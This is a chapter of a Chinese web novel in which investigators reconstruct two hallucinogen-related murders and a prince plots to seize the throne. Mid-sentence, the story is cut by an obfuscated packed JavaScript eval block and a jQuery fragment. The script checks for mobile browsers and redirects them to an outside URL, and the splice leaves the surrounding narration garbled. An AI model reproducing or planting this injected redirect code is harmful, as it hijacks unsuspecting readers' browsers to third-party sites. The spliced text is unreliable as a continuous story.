谢尧:“嗯,这也就是为什么说对接郭长临的人很可能不是郗栎,杀了郭长临对于他和郭绛之间的关系没有一点好处,所以致幻剂牵扯到的不只有郗栎这一拨人,还有一拨人隐藏在暗处。”
郗月抬起手打断了一下:“郭长临死的第二日沈知年就被发现溺毙在池中,很有可能是前一日二人在醉仙楼中的谈话内容出了问题。沈知年既然撒谎藏起了酒杯,是不是说明当时酒杯里很有可能装的就是致幻剂,而他不想再与此事有牵扯所以藏起了杯子。而二人同一天晚上谈话,第二日死的却只有郭长临证明在谈话过程中他有了不该有的心思,而沈知年因为不愿一起所以逃过一劫。”
郗煜醍醐灌顶般拍了下手,“那也就是说沈知年想将自己摘出去的想法是顺着幕后之人的意的,虽然不知道什么原因,可我们去找他谈过话的第二天他却又死了,是这期间想做什么事又惹得背后之人不快了?”
经他这么一说,郗月猛然想起了那天去沈知年住所时看到的东西,她激动地朝着谢尧说:“你可还记得那日我们去沈家布庄的时候看到的锦盒?”
谢尧点点头。
“那日我在锦盒里发现了几张纸,里面写的是一封给他自己的信。”
郗煜:“写给自己的信?”
郗月道:“没错,上面写着他想做大布庄想要让他的父母安享晚年还有很多没有实现的愿望。谢大人发现上面有像是酒杯的压痕,起初我们怀疑是他死后有人来拿走了酒杯,但是现在我怀疑是酒杯是沈知年想要拿过来给我们的途中被人拿走的。”
谢尧迅速明白了她的意思,皱起眉:“你是怀疑他想告诉我们实情,惹得背后之人不快所以才被杀的?”
郗月点点头,“对,他把酒杯放在了承载他一生的愿望的锦盒里,酒杯也放在里面,证明这东西对他来说意义绝不普通。我们上次先入为主地以为是有人先我们一步拿走了酒杯,可你再想想当时我们去的时候,屋子里并不像是被翻过的样子。”
谢尧回忆了一下,郗月说的话没有错,当时他只顾着找酒杯,果真就连如此明显的漏洞都没发现。“所以他在途中被杀,从郭沈二人的尸体上来看,郭长临做的事惹得幕后之人极为不快所以还被封了喉延长痛苦死去,反观沈知年的尸体丝毫没有外伤。从某种角度来说,沈知年的做法其实并没有激怒幕后之人,只是因为他要破坏行动所以才丢了命。”
郗煜语气肯定地说:“这样的话凶手肯定不是郗栎了,那人心狠手辣如果沈知年真是告密要破坏他行动的人都死的面目全非了。”
这么一梳理下来,线索明晰多了。
可郗煜愁眉苦脸,他感觉自己怎么好像什么都不知道,只能看着两个人你来我往:“唉?那要这么说,我们的推测不都错了,郗栎跟致幻剂没关系?”
谢尧说:“不,这两拨人对对方了解或许是单方面,致幻剂的来源既然不是出于中原,而且外族想要将手伸进中原也并非易事,想在中原无所顾忌地杀了吏部侍郎的次子手里一定有筹码,京城谁人不知郭绛和郗栎的关系,郗栎就是最好的跳板帮助他除掉郭长临。”
这话听得他更懵了,“那你都这样说了,郗栎怎么可能不知道对方的存在?”
谢尧答:“并非要利用他这个人,只要身份就够了,所以郭绛现在不是死了吗?死的风平浪静。”谢尧顿了顿又说:“并且另一拨人很可能是利用郗栎身边的亲信除掉了沈知年和郭长临,而他本人并不知情。”
郗月问:“你怎么能确定他不知情?”
“郗栎在我这里安插过眼线,他既然如此急迫得知事情真相,可见背后之人根本没有和他说过,所以他发现有人死于致幻剂才会着急。”
“分成两拨人的话,沈知年和郭长临的死算一拨人手笔,最开始第一个死的手握致幻剂的人就是郗栎的手笔,那人是京城人,对禁品的管控他不敢以身涉险冒着风险挣那份卖命钱,可如果上面的人是当朝皇子可就不一样了,所以他听命于郗栎,才敢将致幻剂放在家中。后面或许是受不住诱惑想私吞把致幻剂嵌进了墙里,被郗栎发现所以死在了街上又恰好被郭沈二人发现,两人的出现没有被郗栎发现,却引起了另一拨人注意。”
郗月问:“可是沈郭二人皆死于致幻剂,他既然安插了眼线就一定知道他们是死于致幻剂,难道还没发现另一拨人的存在吗?”
谢尧答道:“郗栎从未见过尸体他安插进来的眼线也没见过尸体,你说过致幻剂吸食过多也会致死,我猜测他可能以为二人是吸食致幻剂过多死的,所以只是派人打探致幻剂之事有没有败露而不为其他,也就没有引起他的怀疑。”
这下所有事情形成闭环,郗栎因为这人消停了一段时间,却不想有人通过他联系上了郭长临做了新的中间人,可他迈入了第一个中间人的后尘,所以不出意外他也死了。
郗煜说:“这么听来另一拨人是在帮着郗栎了?”
郗月总觉得哪里不对劲,可现在一时她也说不上来,抿了抿唇没说话。
“那郭绛也算是白死了,儿子不是郗栎害的,他害怕的不敢找上郗栎自杀了。这算不算间接帮另一拨人隐藏了?”
唉,怎么不算阴差阳错,他听了他们的话以为郭长临死于郗栎之手却不想凶手另有其人,他的死也就帮真正杀了他儿子的人依旧好好地隐藏在暗处。
都说恶人自有天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275637|198232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收这话倒不假。
“阿月你怎么还是块破案的料?”郗煜如释重负地笑着撞谢尧的肩,侧头看他“哎我说你就退位让贤,这大理寺卿的位置给阿月坐吧。”
谢尧不搭理他,只看着郗月。她不好意思地捏了捏手,“这还不是大家一起发现的?而且我们现在也只是梳理出来了这些案子里牵扯的另一拨人。”
“宫里过几天的宫宴,怎么回事?”谢尧也收到了消息,这次的宫宴什么目的没有对外透露一星半点,以往都会有个由头,可这次严严实实,没半点风声。
郗月也不知道,他们两个一起看向郗煜,没想到他也摇头:“不知道,没人告诉我。”
好奇怪,连哥哥也不知道,到底是要做什么,这么神秘。
他们猜的不错,郭绛突然的自杀搅乱了郗栎的计划。
郗栎抬手挥落了桌上的东西,桌上的烛台翻滚两圈带着火星徒徒几秒就灭了。
旁边的暗卫跪在地上不敢言语。郗栎在书桌前绕着走了好几圈,“郭绛这个废物,他现在去死置我于何地?京城里的人如何想,接二连三死这么多人,现在我身边的人突然死了,自杀死的!这么关键的时候他自杀,他们怎么想我!”现在正是他计划夺得储君之位的关键时候,郭绛这蠢货莫名其妙地死了折了他多少势力,郗栎气狠了一脚踹翻身前的凳子,发出巨大的声响。
郭绛是郗栎的亲信,这点无论朝廷中人还是平民百姓皆知,独独皇帝不知,世人皆不知郗栎真面目。可郭绛在这危急关头一死,郗栎少了精锐力量,怎么跟郗煜的母系抗衡。
郗栎喘着粗气问他“他为什么自杀?”
跪着的黑衣人身子埋得更低了:“我们的人打听到谢大人今日早上去了郭府。”
“谢尧!又是他。城中两人死于致幻剂,到底那个李三给自己藏了多少,能让他们两个把自己吸成这样。”他到现在都以为沈知年和郭长临是因为过度吸食李三藏起来的致幻剂而死的。
黑衣人微抬起身子试探地说:“主上,郭绛虽死了,可东西到您手中即使我们不招一兵一马,这京城都是您的天下了。”
郗栎双手撑在桌子上低头深吸了口气,抬起眼睛面部带着癫狂:“计划不能再拖了,待事成后这天下都是我一人的。”
他走进那暗卫,蹲下身子扶起他,动作轻柔极了,可那黑衣人明显颤了一下,郗栎更满意了,他们理应怕他,他是这天下的主人,所有人都该怕他。
他轻柔着嗓子,刚才的疯子似乎不是他。“人到了吗?”
黑衣人:“回大人,在路途中了,就快到了。”
郗栎满意地笑了,很快了,很快就是他的了。